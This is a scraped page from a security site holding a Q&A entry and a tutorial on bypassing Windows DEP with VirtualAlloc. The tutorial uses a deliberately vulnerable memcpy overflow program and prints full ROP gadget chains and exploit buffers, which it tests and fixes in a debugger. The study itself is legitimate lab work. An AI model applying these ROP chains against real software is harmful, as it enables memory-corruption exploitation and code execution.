[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f3pOP-7ScdVnY9DBm_b-AyZkKmZwMTob5VUvX8XShCi8":3},{"id":4,"question":5,"answer":6,"answerHtml":7,"slug":8,"keywords":9,"article":10,"status":34,"aiModel":39,"aiConfidence":39,"updatedAt":51,"createdAt":51,"_status":50},971,"What is the main advantage of using VirtualAlloc instead of VirtualProtect to bypass DEP?","The main advantage is that the four parameters passed to VirtualAlloc can be directly specified in the shellcode without needing to read and then assign them, making the structure simpler. This is compared to the approach using VirtualProtect, which requires reading the current page protection before modifying it. See the [article](\u002Fnews\u002Fwindows-shellcode-study-notes-bypassing-dep-with-virtualalloc) for a detailed comparison and the related [VirtualProtect technique](\u002Fnews\u002Fwindows-shellcode-study-notes-bypassing-dep-via-virtualprotect).","\u003Cp>The main advantage is that the four parameters passed to VirtualAlloc can be directly specified in the shellcode without needing to read and then assign them, making the structure simpler. This is compared to the approach using VirtualProtect, which requires reading the current page protection before modifying it. See the [article](\u002Fnews\u002Fwindows-shellcode-study-notes-bypassing-dep-with-virtualalloc) for a detailed comparison and the related [VirtualProtect technique](\u002Fnews\u002Fwindows-shellcode-study-notes-bypassing-dep-via-virtualprotect).\u003C\u002Fp>\u003Cp>\u003Ca href=\"\u002Fnews\u002Fwindows-shellcode-study-notes-bypassing-dep-with-virtualalloc\">Read the related One Day Sec article\u003C\u002Fa>\u003C\u002Fp>","what-is-the-main-advantage-of-using-virtualalloc-instead-of-virtualprotect-to-by-1777480934864","DEP, VirtualAlloc, VirtualProtect, shellcode, ROP chain",{"id":11,"title":12,"slug":13,"description":14,"content":15,"contentHtml":30,"cover":31,"author":32,"views":19,"readingTime":33,"status":34,"publishedAt":35,"seo":36,"tags":41,"qaPairs":42,"meta":47,"updatedAt":48,"createdAt":49,"_status":50},237,"Windows Shellcode Study Notes - Bypassing DEP with VirtualAlloc","windows-shellcode-study-notes-bypassing-dep-with-virtualalloc","Learn how to bypass DEP using VirtualAlloc in Windows shellcode. Includes ROP chain construction, testing, and practical exploitation tips.",{"root":16},{"type":17,"format":18,"indent":19,"version":20,"children":21,"direction":29},"root","",0,1,[22],{"type":23,"format":18,"indent":19,"version":20,"children":24,"direction":29},"paragraph",[25],{"mode":26,"text":27,"type":28,"style":18,"detail":19,"format":19,"version":20},"normal","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Next, we introduce another method for bypassing DEP—using VirtualAlloc to bypass DEP. The VirtualAlloc function can allocate a section of memory with executable attributes. Compared to VirtualProtect, the four parameters passed to VirtualAlloc do not need to be read first and then assigned; they can be directly specified in the shellcode, making the structure simpler. Of course, using the mona plugin in Immunity Debugger can automatically construct a ROP chain to bypass DEP with VirtualAlloc.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following topics:\u003C\u002Fp>\u003Cul>\u003Cli>The bug and its fix when calling the VirtualAlloc function\u003C\u002Fli>\u003Cli>Selecting appropriate alternative instructions, modifying the mona-generated ROP chain to achieve exploitation\u003C\u002Fli>\u003Cli>Details to consider when using VirtualAlloc to bypass DEP, such as requirements for shellcode length\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Related Concepts\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>\u003Cstrong>VirtualAlloc:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>LPVOID WINAPI VirtualAlloc(\u003C\u002Fp>\u003Cp>LPVOID  lpAddress,\u003C\u002Fp>\u003Cp>SIZE_T dwSize,\u003C\u002Fp>\u003Cp>DWORD flAllocationType,\u003C\u002Fp>\u003Cp>DWORD flProtect\u003C\u002Fp>\u003Cp>)\u003C\u002Fp>\u003Cp>lpAddress: Address of the memory region to allocate\u003C\u002Fp>\u003Cp>dwSize: Size of the memory region to allocate\u003C\u002Fp>\u003Cp>flAllocationType: Type of memory allocation\u003C\u002Fp>\u003Cp>flProtect: Memory access control type\u003C\u002Fp>\u003Cp>The function returns the starting address of the allocated memory on success, or NULL on failure\u003C\u002Fp>\u003Ch2>0x03 Actual Testing\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>\u003Cstrong>Test Environment:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cul>\u003Cli>Test System: Win 7\u003C\u002Fli>\u003Cli>Compiler: VS2012\u003C\u002Fli>\u003Cli>Build Version: Release\u003C\u002Fli>\u003C\u002Ful>\u003Cp>\u003Cstrong>Project Properties:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cul>\u003Cli>Disable GS\u003C\u002Fli>\u003Cli>Disable Optimization\u003C\u002Fli>\u003Cli>Disable SEH\u003C\u002Fli>\u003Cli>Enable DEP\u003C\u002Fli>\u003Cli>Disable ASLR\u003C\u002Fli>\u003Cli>Disable C++ Exceptions\u003C\u002Fli>\u003Cli>Disable Intrinsic Functions\u003C\u002Fli>\u003C\u002Ful>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Detailed configuration methods are explained in the previous article\u003C\u002Fp>\u003Cp>Also testing buffer overflow for memcpy, the test POC is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>unsigned int shellcode[]=\u003Cbr>{     \u003Cbr>      0x90909090,0x90909090,0x90909090,0x90909090,\u003Cbr>      0x90909090,0x90909090,0x90909090,0x90909090,\u003Cbr>    0x90909090,0x90909090,0x90909090,0x90909090,\u003Cbr>    0x90909090,\u003Cbr>      0x41414141,  \u003Cbr>      0x41414141\u003Cbr>};\u003Cbr>void test()\u003Cbr>{\u003Cbr>  char buffer[48];  \u003Cbr>  printf(\"3\\n\");\u003Cbr>  memcpy(buffer,shellcode,sizeof(shellcode));\u003Cbr>}\u003Cbr>int main()\u003Cbr>{\u003Cbr>  printf(\"1\\n\");\u003Cbr>  test();\u003Cbr>  return 0;\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Compile into an exe and open with Immunity Debugger\u003C\u002Fp>\u003Cp>Use the mona plugin to automatically generate a ROP chain, input:\u003C\u002Fp>\u003Cp>!mona rop -m *.dll -cp nonull\u003C\u002Fp>\u003Cp>Check rop_chains.txt, which will list ROP chains that can be used to disable DEP\u003C\u002Fp>\u003Cp>Select the VirtualAlloc function, details as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Register setup for VirtualAlloc() :\u003Cbr>--------------------------------------------\u003Cbr> EAX = NOP (0x90909090)\u003Cbr> ECX = flProtect (0x40)\u003Cbr> EDX = flAllocationType (0x1000)\u003Cbr> EBX = dwSize\u003Cbr> ESP = lpAddress (automatic)\u003Cbr> EBP = ReturnTo (ptr to jmp esp)\u003Cbr>ESI = ptr to VirtualAlloc()\u003Cbr>EDI = ROP NOP (RETN)\u003Cbr>--- alternative chain ---\u003Cbr>EAX = ptr to &amp;VirtualAlloc()\u003Cbr>ECX = flProtect (0x40)\u003Cbr>EDX = flAllocationType (0x1000)\u003Cbr>EBX = dwSize\u003Cbr>ESP = lpAddress (automatic)\u003Cbr>EBP = POP (skip 4 bytes)\u003Cbr>ESI = ptr to JMP [EAX]\u003Cbr>EDI = ROP NOP (RETN)\u003Cbr>+ place ptr to \"jmp esp\" on stack, below PUSHAD\u003Cbr>--------------------------------------------\u003Cbr>\u003Cbr>ROP Chain for VirtualAlloc() [(XP\u002F2003 Server and up)] :\u003Cbr>--------------------------------------------------------\u003Cbr>*** [ C ] ***\u003Cbr>\u003Cbr>  #define CREATE_ROP_CHAIN(name, ...) \\\u003Cbr>    int name##_length = create_rop_chain(NULL, ##__VA_ARGS__); \\\u003Cbr>    unsigned int name[name##_length \u002F sizeof(unsigned int)]; \\\u003Cbr>    create_rop_chain(name, ##__VA_ARGS__);\u003Cbr>\u003Cbr>  int create_rop_chain(unsigned int *buf, unsigned int )\u003Cbr>  {\u003Cbr>    \u002F\u002F rop chain generated with mona.py - www.corelan.be\u003Cbr>    unsigned int rop_gadgets[] = {\u003Cbr>      0x693a2e92,  \u002F\u002F POP ECX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x693bd19c,  \u002F\u002F ptr to &amp;VirtualAlloc() [IAT MSVCR110.dll]\u003Cbr>      0x69353486,  \u002F\u002F MOV EAX,DWORD PTR DS:[ECX] \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x779f9dca,  \u002F\u002F XCHG EAX,ESI \u002F\u002F RETN [ntdll.dll] \u003Cbr>      0x69370742,  \u002F\u002F POP EBP \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x75dac58d,  \u002F\u002F &amp; call esp [KERNELBASE.dll]\u003Cbr>      0x6932ea52,  \u002F\u002F POP EAX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0xffffffff,  \u002F\u002F Value to negate, will become 0x00000001\u003Cbr>      0x69353746,  \u002F\u002F NEG EAX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x75da655d,  \u002F\u002F XCHG EAX,EBX \u002F\u002F ADD BH,CH \u002F\u002F DEC ECX \u002F\u002F RETN 0x10 [KERNELBASE.dll] \u003Cbr>      0x77216829,  \u002F\u002F POP EAX \u002F\u002F RETN [kernel32.dll] \u003Cbr>      0x41414141,  \u002F\u002F Filler (RETN offset compensation)\u003Cbr>      0x41414141,  \u002F\u002F Filler (RETN offset compensation)\u003Cbr>      0x41414141,  \u002F\u002F Filler (RETN offset compensation)\u003Cbr>      0x41414141,  \u002F\u002F Filler (RETN offset compensation)\u003Cbr>      0xa2800fc0,  \u002F\u002F put delta into eax (-&gt; put 0x00001000 into edx)\u003Cbr>      0x7721502a,  \u002F\u002F ADD EAX,5D800040 \u002F\u002F RETN 0x04 [kernel32.dll] \u003Cbr>      0x771abd3a,  \u002F\u002F XCHG EAX,EDX \u002F\u002F RETN [kernel32.dll] \u003Cbr>      0x41414141,  \u002F\u002F Filler (RETN offset compensation)\u003Cbr>      0x69329bb1,  \u002F\u002F POP EAX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0xffffffc0,  \u002F\u002F Value to negate, will become 0x00000040\u003Cbr>      0x69354484,  \u002F\u002F NEG EAX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x771d0946,  \u002F\u002F XCHG EAX,ECX \u002F\u002F RETN [kernel32.dll] \u003Cbr>      0x6935e68f,  \u002F\u002F POP EDI \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x69354486,  \u002F\u002F RETN (ROP NOP) [MSVCR110.dll]\u003Cbr>      0x693a7031,  \u002F\u002F POP EAX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x90909090,  \u002F\u002F nop\u003Cbr>      0x69390267,  \u002F\u002F PUSHAD \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>    };\u003Cbr>    if(buf != NULL) {\u003Cbr>      memcpy(buf, rop_gadgets, sizeof(rop_gadgets));\u003Cbr>    };\u003Cbr>    return sizeof(rop_gadgets);\u003Cbr>  }\u003Cbr>\u003Cbr>  \u002F\u002F use the 'rop_chain' variable after this call, it's just an unsigned int[]\u003Cbr>  CREATE_ROP_CHAIN(rop_chain, );\u003Cbr>  \u002F\u002F alternatively just allocate a large enough buffer and get the rop chain, i.e.:\u003Cbr>  \u002F\u002F unsigned int rop_chain[256];\u003Cbr>  \u002F\u002F int rop_chain_length = create_rop_chain(rop_chain, );\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>Test 1:\u003C\u002Fh3>\u003Cp>Fill in the above ROP chain, then add the test command:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>PUSH 1;\u003Cbr>POP ECX;\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The corresponding machine code is 0x9059016A\u003C\u002Fp>\u003Cp>The combined POC is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>unsigned int shellcode[]=\u003Cbr>{     \u003Cbr>      0x90909090,0x90909090,0x90909090,0x90909090,\u003Cbr>      0x90909090,0x90909090,0x90909090,0x90909090,\u003Cbr>    0x90909090,0x90909090,0x90909090,0x90909090,\u003Cbr>    0x90909090,\u003Cbr>      0x693a2e92,  \u002F\u002F POP ECX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x693bd19c,  \u002F\u002F ptr to &amp;VirtualAlloc() [IAT MSVCR110.dll]\u003Cbr>      0x69353486,  \u002F\u002F MOV EAX,DWORD PTR DS:[ECX] \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x779f9dca,  \u002F\u002F XCHG EAX,ESI \u002F\u002F RETN [ntdll.dll] \u003Cbr>      0x69370742,  \u002F\u002F POP EBP \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x75dac58d,  \u002F\u002F &amp; call esp [KERNELBASE.dll]\u003Cbr>      0x6932ea52,  \u002F\u002F POP EAX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0xffffffff,  \u002F\u002F Value to negate, will become 0x00000001\u003Cbr>      0x69353746,  \u002F\u002F NEG EAX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x75da655d,  \u002F\u002F XCHG EAX,EBX \u002F\u002F ADD BH,CH \u002F\u002F DEC ECX \u002F\u002F RETN 0x10 [KERNELBASE.dll] \u003Cbr>      0x77216829,  \u002F\u002F POP EAX \u002F\u002F RETN [kernel32.dll] \u003Cbr>      0x41414141,  \u002F\u002F Filler (RETN offset compensation)\u003Cbr>      0x41414141,  \u002F\u002F Filler (RETN offset compensation)\u003Cbr>      0x41414141,  \u002F\u002F Filler (RETN offset compensation)\u003Cbr>      0x41414141,  \u002F\u002F Filler (RETN offset compensation)\u003Cbr>      0xa2800fc0,  \u002F\u002F put delta into eax (-&gt; put 0x00001000 into edx)\u003Cbr>      0x7721502a,  \u002F\u002F ADD EAX,5D800040 \u002F\u002F RETN 0x04 [kernel32.dll] \u003Cbr>      0x771abd3a,  \u002F\u002F XCHG EAX,EDX \u002F\u002F RETN [kernel32.dll] \u003Cbr>      0x41414141,  \u002F\u002F Filler (RETN offset compensation)\u003Cbr>      0x69329bb1,  \u002F\u002F POP EAX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0xffffffc0,  \u002F\u002F Value to negate, will become 0x00000040\u003Cbr>      0x69354484,  \u002F\u002F NEG EAX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x771d0946,  \u002F\u002F XCHG EAX,ECX \u002F\u002F RETN [kernel32.dll] \u003Cbr>      0x6935e68f,  \u002F\u002F POP EDI \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x69354486,  \u002F\u002F RETN (ROP NOP) [MSVCR110.dll]\u003Cbr>      0x693a7031,  \u002F\u002F POP EAX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x90909090,  \u002F\u002F nop\u003Cbr>      0x69390267,  \u002F\u002F PUSHAD \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      \u003Cbr>      0x9059016A,  \u002F\u002FPUSH 1  \u002F\u002F POP ECX \u003Cbr>      0x90909090\u003Cbr>      0x90909090,\u003Cbr>      0x90909090,\u003Cbr>      0x90909090\u003Cbr>};\u003Cbr>void test()\u003Cbr>{\u003Cbr>  char buffer[48];  \u003Cbr>  printf(\"3\\n\");\u003Cbr>  memcpy(buffer,shellcode,sizeof(shellcode));\u003Cbr>}\u003Cbr>int main()\u003Cbr>{\u003Cbr>  printf(\"1\\n\");\u003Cbr>  test();\u003Cbr>  char Buf[] = \u003Cbr>    \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\u003Cbr>    \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\u003Cbr>    \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\u003Cbr>    \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\u003Cbr>    \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\u003Cbr>    \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\u003Cbr>    \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\";\u003Cbr>  return 0;\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Open with OllyDbg, step through to the entry point of the VirtualAllocEx() function\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770015595210_0_816cb66dad.jpeg\">\u003C\u002Fp>\u003Cp>As shown in the figure, examine the passed function parameters\u003C\u002Fp>\u003Cp>The starting address of the allocated memory region is 0x0012FF38\u003C\u002Fp>\u003Cp>The size of the allocated memory region is 0x0000D101, converted to decimal is 53505\u003C\u002Fp>\u003Cp>The type of allocated memory is 0x00001000\u003C\u002Fp>\u003Cp>The requested memory access control type is 0x00000040, i.e., PAGE_EXECUTE_READWRITE\u003C\u002Fp>\u003Cp>Press F8 to step through, as shown in the figure\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770015598255_1_afd563ed32.jpeg\">\u003C\u002Fp>\u003Cp>The return value EAX is 0, indicating generation failure\u003C\u002Fp>\u003Cp>To find the cause, based on previous experience, it is speculated that the requested memory region is too long\u003C\u002Fp>\u003Ch3>Test 2:\u003C\u002Fh3>\u003Cp>Attempt to modify the memory size\u003C\u002Fp>\u003Cp>The starting address of the requested memory region is 0x0012FF38, with 200 bytes remaining to the end of the current memory page (0x00130000 - 0x0012FF38)\u003C\u002Fp>\u003Cp>It is speculated that the modified memory length must be less than or equal to 200 to meet the condition\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770015600815_2_6749c93842.jpeg\">\u003C\u002Fp>\u003Cp>As shown in the figure above, set the memory length to 200 (0x000000C8)\u003C\u002Fp>\u003Cp>Press F8 to step through, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770015604082_3_71ae4bac7b.jpeg\">\u003C\u002Fp>\u003Cp>The request is successful, and the function returns the starting address of the allocated memory\u003C\u002Fp>\u003Cp>It is particularly important to note that this is the starting address of the current memory page: 0x0012F000 (not the passed memory starting address 0x0012FF38)\u003C\u002Fp>\u003Ch3>Test 3:\u003C\u002Fh3>\u003Cp>Test again, set length to 201, memory allocation failed\u003C\u002Fp>\u003Cp>Based on the above test results, speculation: VirtualAllocEx() function cannot allocate memory across memory pages\u003C\u002Fp>\u003Ch3>Test 4:\u003C\u002Fh3>\u003Cp>Continue testing, set length to 1, function returns the starting address of the current memory page: 0x0012F000, and shellcode executes successfully\u003C\u002Fp>\u003Cp>Indicates that the passed function length has no effect on memory allocation, but the starting address plus the requested memory must be less than the length of the current memory page\u003C\u002Fp>\u003Cp>That is, during overflow, the memory size allocated through the VirtualAllocEx() function is a fixed value\u003C\u002Fp>\u003Cp>Now, we have manually modified the stack address to bypass DEP. Next, we will find suitable replacement instructions to build our own ROP chain and fix the BUG generated by mona automation\u003C\u002Fp>\u003Cp>PUSHAD pushes all register values onto the stack in the order: EAX, ECX, EDX, EBX, ESP, EBP, ESI, EDI\u003C\u002Fp>\u003Cp>Trace to PUSHAD, as shown in the figure\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770015606566_4_8efb95917d.jpeg\">\u003C\u002Fp>\u003Cp>EBX stores the memory length, need to modify EBX to a value less than 201\u003C\u002Fp>\u003Ch2>0x04 Find replacement instructions, construct ROP chain\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Find suitable replacement instructions in rop.txt\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770015608636_5_7fe83b1c17.png\">\u003C\u002Fp>\u003Cp>As shown in the figure above, search for the keyword EBX and find a suitable alternative instruction:\u003C\u002Fp>\u003Cp>0x771c80a2 :  # XOR EAX,EAX # POP EBX # RETN    ** [kernel32.dll] **   |   {PAGE_EXECUTE_READ}\u003C\u002Fp>\u003Cp>XOR EAX,EAX will clear the value of register EAX\u003C\u002Fp>\u003Cp>POP EBX will take a value from the top of the stack and assign it to EBX\u003C\u002Fp>\u003Cp>Choose an appropriate location and assign a value to EBX, note:\u003C\u002Fp>\u003Cp>This instruction clears the value of register EAX, so a location independent of the EAX register value needs to be found\u003C\u002Fp>\u003Cp>POP EBX will read the content of the next instruction and assign it to EBX, so just follow it with the value for EBX, e.g., 0x00000028, \u002F\u002F Set EBX=0x00000028(40)\u003C\u002Fp>\u003Cp>Find a suitable location to place it before 0x693a7031,  \u002F\u002F POP EAX \u002F\u002F RETN [MSVCR110.dll]\u003C\u002Fp>\u003Cp>The complete shellcode is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>unsigned int shellcode[]=\u003Cbr>{     \u003Cbr>      0x90909090,0x90909090,0x90909090,0x90909090,\u003Cbr>      0x90909090,0x90909090,0x90909090,0x90909090,\u003Cbr>    0x90909090,0x90909090,0x90909090,0x90909090,\u003Cbr>    0x90909090,\u003Cbr>      0x693a2e92,  \u002F\u002F POP ECX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x693bd19c,  \u002F\u002F ptr to &amp;VirtualAlloc() [IAT MSVCR110.dll]\u003Cbr>      0x69353486,  \u002F\u002F MOV EAX,DWORD PTR DS:[ECX] \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x779f9dca,  \u002F\u002F XCHG EAX,ESI \u002F\u002F RETN [ntdll.dll] \u003Cbr>      0x69370742,  \u002F\u002F POP EBP \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x75dac58d,  \u002F\u002F &amp; call esp [KERNELBASE.dll]\u003Cbr>      0x6932ea52,  \u002F\u002F POP EAX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0xffffffff,  \u002F\u002F Value to negate, will become 0x00000001\u003Cbr>      0x69353746,  \u002F\u002F NEG EAX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x75da655d,  \u002F\u002F XCHG EAX,EBX \u002F\u002F ADD BH,CH \u002F\u002F DEC ECX \u002F\u002F RETN 0x10 [KERNELBASE.dll] \u003Cbr>      0x77216829,  \u002F\u002F POP EAX \u002F\u002F RETN [kernel32.dll] \u003Cbr>      0x41414141,  \u002F\u002F Filler (RETN offset compensation)\u003Cbr>      0x41414141,  \u002F\u002F Filler (RETN offset compensation)\u003Cbr>      0x41414141,  \u002F\u002F Filler (RETN offset compensation)\u003Cbr>      0x41414141,  \u002F\u002F Filler (RETN offset compensation)\u003Cbr>      0xa2800fc0,  \u002F\u002F put delta into eax (-&gt; put 0x00001000 into edx)\u003Cbr>      0x7721502a,  \u002F\u002F ADD EAX,5D800040 \u002F\u002F RETN 0x04 [kernel32.dll] \u003Cbr>      0x771abd3a,  \u002F\u002F XCHG EAX,EDX \u002F\u002F RETN [kernel32.dll] \u003Cbr>      0x41414141,  \u002F\u002F Filler (RETN offset compensation)\u003Cbr>      0x69329bb1,  \u002F\u002F POP EAX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0xffffffc0,  \u002F\u002F Value to negate, will become 0x00000040\u003Cbr>      0x69354484,  \u002F\u002F NEG EAX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x771d0946,  \u002F\u002F XCHG EAX,ECX \u002F\u002F RETN [kernel32.dll] \u003Cbr>      0x6935e68f,  \u002F\u002F POP EDI \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x69354486,  \u002F\u002F RETN (ROP NOP) [MSVCR110.dll]\u003Cbr>\u003Cbr>    0x771c80a2, \u002F\u002F # XOR EAX,EAX # POP EBX # RETN   [kernel32.dll]   |   {PAGE_EXECUTE_READ}\u003Cbr>    0x00000028, \u002F\u002F Set EBX=0x00000028(40)\u003Cbr>\u003Cbr>    0x693a7031,  \u002F\u002F POP EAX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x90909090,  \u002F\u002F nop\u003Cbr>      0x69390267,  \u002F\u002F PUSHAD \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      \u003Cbr>      0x9059016A,  \u002F\u002FPUSH 1  \u002F\u002F POP ECX \u003Cbr>      0x90909090,\u003Cbr>      0x90909090,\u003Cbr>      0x90909090,\u003Cbr>      0x90909090\u003Cbr>};\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Recompile, open with OllyDbg, and single-step to the entry point of the VirtualAllocEx() function\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770015612822_6_353d6b1a05.jpeg\">\u003C\u002Fp>\u003Cp>As shown in the figure, examine the passed function parameters\u003C\u002Fp>\u003Cp>The memory length has been modified to 0x00000028 (40), while other passed parameters are normal\u003C\u002Fp>\u003Cp>Continue execution, enter CALL ESP, and the shellcode executes successfully\u003C\u002Fp>\u003Ch2>0x05 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Similar to bypassing DEP using VirtualProtect, bypassing DEP with VirtualAlloc also requires attention to memory page length limitations. It is not possible to modify or allocate memory across pages, which imposes requirements on the length of the shellcode\u003C\u002Fp>\u003Cp>Of course, normal API calls to implement VirtualProtect and VirtualAlloc do not encounter cross-memory page failure issues.\u003C\u002Fp>\u003Cp>The ROP chain automatically generated by mona can serve as a reference template; by combining alternative instructions from rop.txt, a more suitable ROP chain can be constructed.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","text","ltr","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Next, we introduce another method for bypassing DEP—using VirtualAlloc to bypass DEP. The VirtualAlloc function can allocate a section of memory with executable attributes. Compared to VirtualProtect, the four parameters passed to VirtualAlloc do not need to be read first and then assigned; they can be directly specified in the shellcode, making the structure simpler. Of course, using the mona plugin in Immunity Debugger can automatically construct a ROP chain to bypass DEP with VirtualAlloc.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following topics:\u003C\u002Fp>\u003Cul>\u003Cli>The bug and its fix when calling the VirtualAlloc function\u003C\u002Fli>\u003Cli>Selecting appropriate alternative instructions, modifying the mona-generated ROP chain to achieve exploitation\u003C\u002Fli>\u003Cli>Details to consider when using VirtualAlloc to bypass DEP, such as requirements for shellcode length\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Related Concepts\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>\u003Cstrong>VirtualAlloc:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>LPVOID WINAPI VirtualAlloc(\u003C\u002Fp>\u003Cp>LPVOID  lpAddress,\u003C\u002Fp>\u003Cp>SIZE_T dwSize,\u003C\u002Fp>\u003Cp>DWORD flAllocationType,\u003C\u002Fp>\u003Cp>DWORD flProtect\u003C\u002Fp>\u003Cp>)\u003C\u002Fp>\u003Cp>lpAddress: Address of the memory region to allocate\u003C\u002Fp>\u003Cp>dwSize: Size of the memory region to allocate\u003C\u002Fp>\u003Cp>flAllocationType: Type of memory allocation\u003C\u002Fp>\u003Cp>flProtect: Memory access control type\u003C\u002Fp>\u003Cp>The function returns the starting address of the allocated memory on success, or NULL on failure\u003C\u002Fp>\u003Ch2>0x03 Actual Testing\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>\u003Cstrong>Test Environment:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cul>\u003Cli>Test System: Win 7\u003C\u002Fli>\u003Cli>Compiler: VS2012\u003C\u002Fli>\u003Cli>Build Version: Release\u003C\u002Fli>\u003C\u002Ful>\u003Cp>\u003Cstrong>Project Properties:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cul>\u003Cli>Disable GS\u003C\u002Fli>\u003Cli>Disable Optimization\u003C\u002Fli>\u003Cli>Disable SEH\u003C\u002Fli>\u003Cli>Enable DEP\u003C\u002Fli>\u003Cli>Disable ASLR\u003C\u002Fli>\u003Cli>Disable C++ Exceptions\u003C\u002Fli>\u003Cli>Disable Intrinsic Functions\u003C\u002Fli>\u003C\u002Ful>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Detailed configuration methods are explained in the previous article\u003C\u002Fp>\u003Cp>Also testing buffer overflow for memcpy, the test POC is as 